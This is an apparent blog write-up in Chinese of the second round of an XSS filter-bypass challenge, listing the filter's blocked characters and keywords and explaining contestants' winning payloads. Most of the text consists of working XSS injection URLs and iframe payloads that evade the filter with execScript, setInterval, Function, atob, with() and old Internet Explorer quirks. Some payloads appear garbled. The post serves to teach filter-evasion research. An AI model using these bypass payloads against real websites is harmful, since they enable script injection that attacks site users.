之前搞了一期感覺反響挺好的,就又搞了一期。不過說實話審核起來很吃力,因為大家的答案都太給力了。所以在接下來的解釋文當中如果出現錯誤,希望各位看官可以不吝指正。可能參與的人,都發現了這期的核心問題就是【沒有了”.”我們應該如何去XSS?】。如果有人有心去谷歌過這個問題,應該會在http://sla.ckers.org/forum/read.php?2,12964,12974這個鏈接里,找到答案。
#!javascript
with(location)with(hash)eval(substring(1))
作者在指定的代碼區域內,使用with來實現了通過節點名稱的對象調用。當然,如果問題只是這樣的話,我相信大家會有很多的方案。所以為了增加點難度,我在上次的過濾規則上又過濾一些比較常用的手段。
(1) 過濾了所有的
# \ < vbscript > ' 空格+on alert innerHTML document appenChild createElement src write String eval setTimeout unescape data javascript name ; window * 空格 TAB 0x0A 0x0C 0x0D prompt confirm MsgBox find print - vbs location / urldecode [ ] . 0x00 $ jQuery +
(2)過濾了第二個
" 和 =
可能有些規則和一般意義上的過濾代碼有較大的出入,這個也是因為怕有人把這個游戲理解成廉價的WAF測試。>.<
這次是上次挑戰的第一名/fd拿下了這次挑戰的First Blood。
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=`execScript(URL)`#
alert(1)></iframe>
這應該算是集合了很多IE特色的答案。用到了兼容模式,來讓最新版的IE支持這個反引號的使用,提高了XSS代碼的兼容性也避免了因后面語句的修復所帶來的長度問題。還有就是這個execScript在我的理解當中應該是和eval()擁有幾乎相同的功能的一個IE特色方法。可能和eval最大的區別就是execScript的作用域非當前域,而是全局作用域吧。然后就是這個#

可能一部分人不是特別熟悉,如果你有閱讀過ECMAscript規范,那么你應該會發現除了0x0A/0x0D
以外U+2028/2029
也可以作為換行符來使用。
來自/fd的另一份答案:
#!html
<meta http-equiv="X-UA-Compatible" content="IE=9">
<iframe src=http://techni.duapp.com/challenge/index.php?xss=%22onblur=execScript(URL)%0b#
alert(1)></iframe>
放棄了使用反引號,而使用0x0b進一步的縮減了一個字符。
來自Sogili的答案:
#!html
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=setInterval(URL)%%26quot#
alert(1)"></iframe>
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=`setInterval(URL)`#
alert(1)"></iframe>
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut%3D%60Function%28URL%29%28%29%60#
alert(1)"></iframe>
Sogili在第一個答案中選擇了使用%+"的方式保證了后面語句的正確性。當然如果沒有特殊限制,還有一些其它的邏輯運算符可以起到相同的作用(加減乘除和一些其它的符號)。然后就是這個setIterval函數,總體來說可能和setTimeout會有點相似。大的區別就在于eval會在指定的時間過后執行一次相對應的字符串的內容。而setIterval會在每經過設定的時間后都執行一次相對應的字符串。和/fd不同的是選擇了

來代替空白字符,最后巧妙地使用Function(URL)()(新建匿名函數并執行它的方式)完成了挑戰。(看了幾次沒看懂,最后請教了一下二哥= =)
來自gainover的答案:
#!html
<script>? location.;? </script>
<script>? location.;? </script> //測試于chrome26
和Sogili的最后一個答案大相徑庭。
來自Retaker非常水的答案:
http://techni.duapp.com/challenge/index.php?xss=%22oncut%3DsetInterval%28value%29%2C%26quot
有人說這個和自己在地址欄輸入javascript:alert(1)
也差不多了。其實包括提交者和我也這么認為。但是因為參與的人實在太少了,就算上了。不過有另外一個同學很巧秒的利用了這個value。
來自8qwe24657913的答案:
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3Dnew%28Function%29%28atob%28value%29%29%28%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3Dnew%28Function%29%28decodeURI%28value%29%29%28%29%2C%26quot)
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoKzEp%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=YWxlcnQoMSk%22oncut%3DsetInterval%28atob%28value%29%29%2C%26quot
<iframe src="http://techni.duapp.com/challenge/index.php?xss=%22oncut=execScript(opener),%26quot" onload="contentWindow.opener='alert(1)'"></iframe> //
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(96)),%26quot#alert(1)
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)setInterval(slice(97)),%26quot#alert(1)
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)?
http://techni.duapp.com/challenge/index.php?xss=afterEnd%22oncut%3DinsertAdjacentHTML%28value%2CURL%29%2C%26quot#<img/src=1 onerror=alert(1)>?
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)with(top)open(slice(0x65)),%26quot#javascript:opener.alert(1)
http://techni.duapp.com/challenge/index.php?xss=al%2565rt%283%265%29%22oncut%3DsetInterval%28decodeURI%28value%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=al0ert%283%265%29%22oncut%3Dwith%28value%29setInterval%28replace%280%2Cid%29%29%2C%26quot
http://techni.duapp.com/challenge/index.php?xss=oncutYWxlcnQoMSk%22oncut%3Dwith%28value%29setAttribute%28slice%280%2C5%29%2Catob%28slice%285%29%29%2C%26quot
其中的一個答案用到了一個很老的IE Opener BUG。還有一個小亮點就是,多處用到了xss攻擊中出場率不是很高的base64解碼函數atob()。由于提交的答案實在是太多,我就不一一解釋了,感興趣的同學可以自己親手試一下。
來自StarMoon的答案:
http://techni.duapp.com/challenge/index.php?xss=%22oncut=with(URL)execScript(slice(98))%25%26quot#alert(1)
很中規中矩的答案,用with避免了”.”的使用,通過execScript來執行URL.slice(98)也就是#后面的alert(1)。
來自Dun的答案:
http://techni.duapp.com/challenge/index.php?xss="oncut%3DsetInterval%28decodeURI%28%26quot%2520aler%2574%28%29%26quot%29%29%7C%26quot
結合setInterval和decodeURI執行了部分二次URL編碼后的alert(),最后再用|"
修復了后面語句的正確性,完成了挑戰。
因為個人水平有限,可能挑戰的內容做的不是很好。和實際場景相比有一些出入。如果你覺得這些答案都很有趣并想對上面的方法進行測試,可能需要你付出一點點的耐心。因為,所使用的瀏覽器的不同,版本的不同,系統補丁的不同等緣故可能會有無法重現的情況發生。
附上此次比賽的源代碼:XSSC2.zip